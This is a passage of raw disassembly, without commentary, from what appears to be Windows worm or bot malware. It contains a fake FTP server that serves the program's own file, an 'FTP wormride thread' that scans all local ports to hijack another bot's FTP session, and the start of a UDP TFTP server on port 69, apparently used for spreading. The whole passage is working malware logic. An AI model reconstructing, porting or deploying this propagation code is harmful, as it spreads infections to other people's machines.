0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, ds:byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, ds:byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, ds:dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, ds:byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, ds:byte_41DF00 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, ds:byte_41DF00 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DF00 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, ds:dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, ds:dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, ds:dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, ds:dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, ds:dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, ds:dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, ds:dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, ds:dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, ds:dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, ds:dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EBFC push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, ds:dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EBD8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DB88 call sub_40D4AB add esp, 14h push 3E8h call ds:dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, ds:dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call ds:dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call ds:dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EBFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call ds:dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push 